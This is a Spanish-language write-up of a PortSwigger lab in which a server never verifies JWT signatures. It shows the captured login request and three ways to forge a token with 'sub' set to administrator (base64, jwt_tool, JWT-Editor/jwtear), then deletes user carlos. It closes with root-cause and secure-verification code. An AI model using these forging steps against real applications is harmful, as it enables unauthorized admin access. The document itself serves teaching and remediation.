JWT authentication bypass via unverified signature
Bypass de autenticación por firma no verificada: el servidor no valida la firma de los JWTs, por lo que basta con modificar el claim sub (jwt_tool, base64 manual o jwtear) para acceder a /admin.
Target Overview & Vulnerability Summary
El laboratorio usa JWT para el manejo de sesiones. Debido a fallas en la implementación, el servidor backend no verifica la firma de los JWTs que recibe. El claim sub (subject) determina la identidad del usuario; al no validarse la firma, cualquier modificación del payload es aceptada. El objetivo es cambiar sub a administrator, acceder a GET /admin y eliminar a carlos.
| Campo | Valor |
|---|---|
| Severidad | Alta (bypass de autenticación → GET /admin y eliminación de carlos) |
| Endpoint vulnerable | POST /login, GET /admin |
| Root cause | La verificación de firma JWT está omitida por defecto en el manejo de sesiones |
Technical Breakdown & Exploitation Flow
Al realizar un POST /login desde el navegador con wiener:peter, la request interceptada por Burp Suite:
POST /login HTTP/2
Host: 0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Cookie: session=
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net
Referer: https://0a0300dd036c50ef81dc7522005e000c.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Pwnfox-Color: cyan
Priority: u=0, i
Te: trailers
csrf=I8XmCpCf0CpQBEX8xOmm67StPI6Q2iFE&username=wiener&password=peter
La respuesta entrega el header Set-Cookie con el JWT en el valor de session:
Set-Cookie: session=eyJraWQiOiI0M2FiODI4OS0wMTY4LTRiOWUtOWYyZC03ZTRkYmIyNjYyN2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzE5NDI1NSwic3ViIjoid2llbmVyIn0.IO2E5wiUjsPnkOiWfH-1SQ6LqJx8lUCsxaSjRdti1cT7T3uqv-TIynm2En7sMTi624vUZfdfGROWp_8YYWwRtsawE7q1vcpW4uzrJyUscrqjCRyumTdBd0FiIw5aeV-q28FTosVkEE-G9pF-MMos-Scitg7zMbasEtw6Ax1ExgoiAEBNEqdeMpNaiQtEa7LpRqAYtgDd4sN1Ypt1Y3h-l49SKaLEaZqXpBeA49h_vJE9VFER0olJVgcyigTZTvtohNau3qotNcXaUNenFeTAzSFZpNWoVZ-2EPpr2S2ljR9EeEh7diz8cQVh1EaTtU6LCrsNxm_C4eIxuHYyFVvD4g;
Estructura del JWT decodificado (header y payload):
{
"kid": "43ab8289-0168-4b9e-9f2d-7e4dbb26627b",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1757194255,
"sub": "wiener"
}
El claim sub contiene el usuario autenticado. Un GET /admin con el token legítimo confirma que la ruta está protegida.
Opción 1 — Bash puro (base64)
Construir el payload en una línea, modificar el atributo sub a administrator y codificarlo con base64 (sin necesidad de firmar, ya que la firma no se verifica):
echo '{"iss":"portswigger","exp":1717440541,"sub":"administrator"}' | base64
Reemplazar la sección de payload del JWT original por este valor (y ajustar el alg a none si se requiere).
Opción 2 — jwt_tool (Python)
Decodificar y aplicar tampering sobre el claim sub con el parámetro -T:
python3 jwt_tool.py eyJraWQiOiI3NDEyN2M1Yi0xOWVhLTQyMDYtYTg3MC1lNGIwYWUyNTI2M2EiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcxNzQ0OTE2OCwic3ViIjoid2llbmVyIn0.ryItspWLrfVS4L2_4vqtUxUlK1FOmXnLmcDfLeJyHAfnt5eUM_fzNPf4SWIvtSnxO9ODy-00oQRsSN0ySHx8HUN3S5Y5VEReiCyIC0GB7NrTTwvki1VDKuDFimwCaKCVXjbBSGf32J7EFkw5cvOaygwB7mVxpv7hQcipMHGWcmXMRZPCRLyxvKkpV-8lQzdLZ19RQqYhsxSMksfyp4kXxOp8cBf5WUOR_jk3QV3qDeg0pQO-2TTXnhdTulq74cvGUF9tAEKxPEHscixXYXDv_zR6h3GA1Z-CJ_bqeMuZfms3RA9B1FQ3YnFWcVOeb2s1aSeHc8Bxjo2WwxkVm3Edzw -T
(En esta variante, aunque se deje el algoritmo original, como la implementación no valida la firma se puede omitir o usar cualquier clave; el modo interactivo de jwt_tool permite seleccionar alg: none.)
Opción 3 — Extensión JWT-Editor / herramientas de navegador
- La extensión JWT-Editor de la BApp Store permite editar el payload y firmar/recalcular el token directamente en Repeater.
- En el navegador, la extensión Cookie Editor o las DevTools (inspeccionando el storage de cookies) permiten reemplazar el valor de
sessionpor el JWT manipulado y refrescar. - Alternativa en Ruby: jwtear realiza la misma manipulación de JWS con una interfaz de header/payload:
jwtear jws -h <header> -p <payload con el campo sub modificado>
Con el JWT de administrador: GET /admin y DELETE /admin?username=carlos.
Root Cause Analysis
La vulnerabilidad es un error en el manejo de sesiones: el servidor confía en el contenido del JWT sin comprobar su integridad. El patrón defectuoso es la ausencia total de llamada a la verificación de firma:
// defectuoso: se decodifica y se confía en el payload sin verificar firma
claims := jwt.Decode(raw) // sin jwt.Verify
session.User = claims["sub"]
Al omitir Verify, el alg del header y la sección de firma son irrelevantes: basta con reescribir sub. Esto convierte al JWT en un simple bearer token en texto plano, manipulable por cualquier cliente.
Secure Remediation
- Verificar la firma siempre antes de usar cualquier claim, y rechazar tokens con firma ausente o inválida:
token, err := jwt.Parse(raw, jwt.WithKey(jwa.RS256, pubKey))
if err != nil {
return errors.New("invalid signature")
}
session.User = token.Claims().Subject
- No tratar los claims como autoridad de identidad sin validar integridad, expiración (
exp), emisor (iss) y audiencia (aud). - Configurar la verificación como obligatoria en el framework/librería y validarlo con tests que envíen tokens sin firma.